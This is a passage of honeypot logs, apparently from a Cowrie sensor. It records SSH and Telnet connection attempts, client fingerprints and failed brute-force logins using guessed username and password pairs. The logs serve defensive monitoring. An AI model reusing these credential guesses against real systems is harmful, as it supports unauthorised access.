hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:31.539392Z","src_ip":"165.227.170.113","session":"7409e8d049b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Paris2026","message":"login attempt [root/Paris2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:31.915591Z","src_ip":"165.227.170.113","session":"7409e8d049b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.151","src_port":24768,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c49a4891017","protocol":"ssh","message":"New connection: 45.148.10.151:24768 (10.17.0.5:22) [session: 9c49a4891017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:32.046483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:32.050083Z","src_ip":"45.148.10.151","session":"9c49a4891017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:32.135839Z","src_ip":"45.148.10.151","session":"9c49a4891017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:32.501928Z","src_ip":"45.148.10.151","session":"9c49a4891017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:33.004897Z","src_ip":"165.227.170.113","session":"7409e8d049b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":42862,"dst_ip":"159.203.135.109","dst_port":22,"session":"4881db0bae7b","protocol":"ssh","message":"New connection: 178.20.210.208:42862 (159.203.135.109:22) [session: 4881db0bae7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:59.709738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:59.713839Z","src_ip":"178.20.210.208","session":"4881db0bae7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:02:59.811924Z","src_ip":"178.20.210.208","session":"4881db0bae7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX#ED","message":"login attempt [root/1QAZ2WSX#ED] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:00.198594Z","src_ip":"178.20.210.208","session":"4881db0bae7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:01.300316Z","src_ip":"178.20.210.208","session":"4881db0bae7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48142,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa58224c3ef6","protocol":"ssh","message":"New connection: 8.210.75.243:48142 (10.17.0.5:22) [session: fa58224c3ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:01.609490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:03.045230Z","src_ip":"8.210.75.243","session":"fa58224c3ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60272,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d551e9b5d18","protocol":"ssh","message":"New connection: 8.210.75.243:60272 (10.17.0.5:22) [session: 0d551e9b5d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:15.964749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:15.971290Z","src_ip":"8.210.75.243","session":"0d551e9b5d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43552,"dst_ip":"10.17.0.5","dst_port":22,"session":"286ae67d95df","protocol":"ssh","message":"New connection: 91.92.40.4:43552 (10.17.0.5:22) [session: 286ae67d95df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:30.037174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:30.043507Z","src_ip":"91.92.40.4","session":"286ae67d95df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:30.124990Z","src_ip":"91.92.40.4","session":"286ae67d95df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"pass123","message":"login attempt [hadoop/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:30.371510Z","src_ip":"91.92.40.4","session":"286ae67d95df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:31.454207Z","src_ip":"91.92.40.4","session":"286ae67d95df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33248,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc858d19e190","protocol":"telnet","message":"New connection: 107.6.151.170:33248 (159.203.135.109:23) [session: dc858d19e190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:50.827636Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:03:59.040333Z","src_ip":"8.210.75.243","session":"9f87241a84b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":45014,"dst_ip":"159.203.135.109","dst_port":22,"session":"427cc4f011d4","protocol":"ssh","message":"New connection: 159.65.58.200:45014 (159.203.135.109:22) [session: 427cc4f011d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:06.790764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:07.100050Z","src_ip":"159.65.58.200","session":"427cc4f011d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:07.106337Z","src_ip":"159.65.58.200","session":"427cc4f011d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"safonvan","password":"123456","message":"login attempt [safonvan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:08.111461Z","src_ip":"159.65.58.200","session":"427cc4f011d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49468,"dst_ip":"10.17.0.5","dst_port":22,"session":"c01ec9dd1eb4","protocol":"ssh","message":"New connection: 51.250.105.222:49468 (10.17.0.5:22) [session: c01ec9dd1eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:09.175419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:09.178839Z","src_ip":"51.250.105.222","session":"c01ec9dd1eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:09.306747Z","src_ip":"51.250.105.222","session":"c01ec9dd1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:09.320662Z","src_ip":"159.65.58.200","session":"427cc4f011d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:09.857530Z","src_ip":"51.250.105.222","session":"c01ec9dd1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:10.987578Z","src_ip":"51.250.105.222","session":"c01ec9dd1eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":58910,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f568cf332ef","protocol":"ssh","message":"New connection: 162.241.177.22:58910 (10.17.0.5:22) [session: 0f568cf332ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:18.925201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:18.931606Z","src_ip":"162.241.177.22","session":"0f568cf332ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:18.956488Z","src_ip":"162.241.177.22","session":"0f568cf332ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"perpetual789","message":"login attempt [root/perpetual789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:19.031481Z","src_ip":"162.241.177.22","session":"0f568cf332ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53744,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad27130eed19","protocol":"telnet","message":"New connection: 170.64.224.25:53744 (159.203.135.109:23) [session: ad27130eed19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:19.171878Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:20.057819Z","src_ip":"162.241.177.22","session":"0f568cf332ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:21.665664Z","src_ip":"8.210.75.243","session":"fa58224c3ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.327584743499756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:24.155080Z","src_ip":"107.6.151.170","session":"dc858d19e190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":58852,"dst_ip":"10.17.0.5","dst_port":22,"session":"35fdeb0898f8","protocol":"ssh","message":"New connection: 119.203.251.187:58852 (10.17.0.5:22) [session: 35fdeb0898f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:43.788984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:04:43.792985Z","src_ip":"119.203.251.187","session":"35fdeb0898f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sh